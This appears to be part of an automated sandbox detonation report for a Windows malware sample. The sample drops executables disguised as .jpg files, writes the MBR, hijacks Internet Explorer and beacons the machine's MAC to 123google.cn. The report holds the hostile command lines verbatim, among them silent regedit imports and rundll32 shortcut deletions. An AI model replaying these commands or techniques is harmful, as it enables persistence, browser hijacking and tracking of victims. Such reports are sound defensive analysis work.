SHA512 3ce66ca3b5c4f08d877ca186e4b3a92dda041e6b4d75662520beb2b2eea46a0780ddb67cd536c01de8de46a9dd645e38b7fa7f3fce170e4438803eb3d4a3e223

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e5544cb96a21ed9d4c775e21b6b48d4d
SHA1 5a213e015135fc880a34afde4a1535f548d30133
SHA256 9d235034e3d7520a4cb96cf9e971a7a5b251434843ee28cd78c1f5a9c6ca6c4c
SHA512 3f1ee70f8a45d4ca47a1fb31f2ae56e2f5f5e0c83bd00736559ecda8b6516ff7e2dd02f076e4f7cd163df922a8f844ef62fd77a14fb12d60c2c5c94e6ae02853

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d025f7290a850da63fc4600b5146f25e
SHA1 3385d1a384710e08ebfc718c0c59511ea12a3cb9
SHA256 27ee8fb722a506ebdbc13c76d1c55f196702a690b1bf18714e897a5000858b33
SHA512 9374bfbd2ea4b3f99db3d2d4dd4cab14215fe6f9aa5b777f0bd782b227a9560d37ce100e18281d30e5a32230ed1d133533a45fe95246b88a2602c3b0437c7e85

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 477366406fe4f55e3abe5bf3a247e4c0
SHA1 36132a4551e64c14518048ad79c6294adbf522c9
SHA256 2bd3458517f6aa2c2032ddab62526919576256458ca05bcd3da45232c9985257
SHA512 abfe705de1e4fb3958af2b163a5be8ed7079f7da079fddc830605cde205e73d97cceea5a082a8d6b4aaa728674eba6a06fb8671c4b26046d1baaf23a03b44a6c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 282824b244f7f613692e77a424785082
SHA1 69bc3b1df65b6c6c95a9d978748e3cd074e14689
SHA256 9f84bebb7d285595a2dbc8c45f849f0dc0aaeb69166efaebdb1d6654bbbd510e
SHA512 caed3fc8439c8393533170e6dfadac7817ed93498c601401adb60ab3a04f31e0527436f4fa2d64331554fe1b07eb9f1604c1e67b8a0eac223611fe598e115670

\Windows\1059\women.jpg

MD5 f572dd2e1600ae7c7fadd01e7c89775c
SHA1 ac308e9b69d910badb9e237eeaa32a3351e850ff
SHA256 b5af2e44edebb01fa4fe1e8cf061ef5945caedbdfc93927c3e1eb434c5dcf15c
SHA512 2ca2014a5429723195122c4a2a75a954049d451639f8fe0073415ab2112f0c80609a28714b56afcfb5d6672014f9e897f37bd478994af91e667914fb404fb9bb

memory/1984-508-0x0000000000400000-0x0000000000455000-memory.dmp

C:\Windows\1059\mone.jpg

MD5 0b995acc051cc22aefd81b5179025618
SHA1 8f06925400c0a7c9aa79c4f30499e853fa567083
SHA256 722bc4d3f0630f9be62491f85f19ad449dd21bdf3622c968454bc0ea8748d1a6
SHA512 fecf7641a15cebfb367eb63a3b37f1acf50e29e8abcc6042c21e5d46358fb2fe8f7b6d1d0d1a968130102f609cd4505bbc41e9ddc70875317a01fb7cbe694179

\Windows\1059\spring.jpg

MD5 131e7bb66f87c4a4855b1d55432b92d1
SHA1 df6db1a2374c93ca7ae05f87bb68b419fdac2cab
SHA256 77d5c1a23b4b44525d3d9136d0fbf6ad26eb575ca4257693f5becb749cb74293
SHA512 0a5f0c83acf38a9aae7b0231232cbb8ad896c209c9a207e33f2bb4b901f4e91551ffc3efd1fcd412484248de260e6338a889cb19385caf1cafed1a1ae0d9a393

memory/1460-528-0x0000000076FE0000-0x0000000076FE1000-memory.dmp

memory/1460-527-0x0000000076FDF000-0x0000000076FE0000-memory.dmp

C:\Windows\1059\jia.reg

MD5 1840a7df3c8bfc6f58e30dd4e1a5e4c4
SHA1 4f8a3f4ba58ece4a54a75deabf4d8bac0d53a260
SHA256 cf0a71cd1512e605c65f115f2c517a53c7b21d70198bac82eadc7124e1c2f776
SHA512 1bfef8eb534dafa9fa52c4ab275f6e50744b1a84c278146bf4ec47db4f61137003f22100e7ddd88f7fef4c8aed199b59698f87febf59f7238062e4f50000f0a0

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-20 12:24

Reported

2024-06-20 12:26

Platform

win10v2004-20240508-en

Max time kernel

126s

Max time network

127s

Command Line

"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"

Signatures

Modifies visibility of file extensions in Explorer

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1" C:\WINDOWS\1059\mone.jpg N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\WINDOWS\1059\women.jpg N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\WINDOWS\1059\women.jpg N/A
N/A N/A C:\WINDOWS\1059\mone.jpg N/A
N/A N/A C:\WINDOWS\1059\spring.jpg N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\WINDOWS\1059\6.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\10.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\13.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\winner.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\mone.jpg N/A
File opened for modification C:\WINDOWS\1059\2.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\mone.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\jia.reg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\Sunset.jpg C:\WINDOWS\1059\women.jpg N/A
File opened for modification C:\WINDOWS\1059\9.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\8.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\17.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\4.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\5.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\7.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\11.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\spring.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A
File opened for modification C:\WINDOWS\1059\3.ico C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\"" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{06E74A25-2F00-11EF-B8C0-FE55E2F65CCF} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ = "%SystemRoot%\\SysWow64\\SHELL32.dll" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\ = "????" C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\NeverShowExt = "1" C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE,0" C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command\ = "IEXPLORE.EXE http://www.manyou123.com/?pm" C:\WINDOWS\1059\mone.jpg N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "%SystemRoot%\\SysWow64\\SHELL32.dll,-134" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32 C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment" C:\Windows\SysWOW64\regedit.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell C:\WINDOWS\1059\mone.jpg N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849} C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Search Results Folder" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "@%SystemRoot%\\system32\\SHELL32.dll,-31754" C:\Windows\SysWOW64\regedit.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "@%SystemRoot%\\system32\\SHELL32.dll,-30520" C:\Windows\SysWOW64\regedit.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "942747698" C:\Windows\SysWOW64\regedit.exe N/A

Runs .reg file with regedit

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regedit.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\WINDOWS\1059\mone.jpg N/A
Token: SeDebugPrivilege N/A C:\WINDOWS\1059\spring.jpg N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2224 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 2224 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\Program Files\Internet Explorer\iexplore.exe
PID 4836 wrote to memory of 2236 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 4836 wrote to memory of 2236 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 4836 wrote to memory of 2236 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2224 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 2224 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 2224 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe C:\WINDOWS\1059\women.jpg
PID 2232 wrote to memory of 1844 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 2232 wrote to memory of 1844 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 2232 wrote to memory of 1844 N/A C:\WINDOWS\1059\women.jpg C:\WINDOWS\1059\mone.jpg
PID 1844 wrote to memory of 1408 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 1844 wrote to memory of 1408 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 1844 wrote to memory of 1408 N/A C:\WINDOWS\1059\mone.jpg C:\WINDOWS\1059\spring.jpg
PID 1408 wrote to memory of 4564 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1408 wrote to memory of 4564 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1408 wrote to memory of 4564 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\regedit.exe
PID 1408 wrote to memory of 4956 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 4956 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 4956 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1452 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1452 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1452 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1028 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1028 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 1028 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3300 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3300 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3300 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3724 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3724 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe
PID 1408 wrote to memory of 3724 N/A C:\WINDOWS\1059\spring.jpg C:\Windows\SysWOW64\rundll32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" http://www.123google.cn/tjjjj/get.asp?mac=FE55E2F65CCF&makedate=DD00013&comput=Home&ver=90&userid=0001&Key=23494C687CF01886FDB25BD061AEA023

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4836 CREDAT:17410 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3804,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:8

C:\WINDOWS\1059\women.jpg

C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe===

C:\WINDOWS\1059\mone.jpg

C:\WINDOWS\1059\mone.jpg

C:\WINDOWS\1059\spring.jpg

spring.jpg 3436

C:\Windows\SysWOW64\regedit.exe

regedit /s "C:\WINDOWS\1059\jia.reg"

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\microsoft edge.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk

C:\Windows\SysWOW64\rundll32.exe

rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.123google.cn udp
US 8.8.8.8:53 www.123google.cn udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 19.53.126.40.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 82.90.14.23.in-addr.arpa udp

Files

memory/2224-0-0x0000000000400000-0x0000000000455000-memory.dmp

memory/2224-1-0x00000000001C0000-0x00000000001C2000-memory.dmp

C:\Windows\1059\women.jpg

MD5 81b08252d5134ad207e1304dcccf3b64
SHA1 f2918d17aafafc27a445f6e972bf1cf672899137
SHA256 b7bd83d2bc9b3b35133f670a7a2ec1ee801a8e7e77041c736bdbc74c5080b29d
SHA512 26577e185a50d3bec1deebdf595d70a0350843bee92b6b78c7398b74fd31b7e58b9b03863fc3c8891b290489042530eea9554f4ae575ecdffa6908f2d6e50a0d

memory/2224-32-0x0000000000400000-0x0000000000455000-memory.dmp

C:\Windows\1059\mone.jpg

MD5 53efa7cc7e000ff79680a76cac0413c3
SHA1 46ae5d29da26eefdcbdaf78a470f607fcdb094b1
SHA256 f74beb3e8eea990623e2c8ccc7ba2550ab70a9d6f1949afcc455494d9bedbacd
SHA512 b31d934c6e756ca3325581ad56346e0c9218da1328052f1cdda55af79c7b6d1395b056c4086a1c8846171cfe78481bf39eb1fd074f576279c46aa0fa7afb5f70

C:\WINDOWS\1059\spring.jpg

MD5 834dfbedb7a2bf1800341822057b9e43
SHA1 9f49291221cbcd488c86adf154e822d9246c2c5a
SHA256 58ebb20d45d2373b745494e8d63e70171cb3a243bd657768c1806c7f239b2de7
SHA512 ae65457a39f49796c29e4ce69453417a35aca8c3c9927fef94abeffba9f6d7f15b273240fdae09ef5c978faa1a8408a7e1d9e8e52c15f539ee19c68449672ec6

C:\Windows\1059\jia.reg

MD5 1840a7df3c8bfc6f58e30dd4e1a5e4c4
SHA1 4f8a3f4ba58ece4a54a75deabf4d8bac0d53a260
SHA256 cf0a71cd1512e605c65f115f2c517a53c7b21d70198bac82eadc7124e1c2f776
SHA512 1bfef8eb534dafa9fa52c4ab275f6e50744b1a84c278146bf4ec47db4f61137003f22100e7ddd88f7fef4c8aed199b59698f87febf59f7238062e4f50000f0a0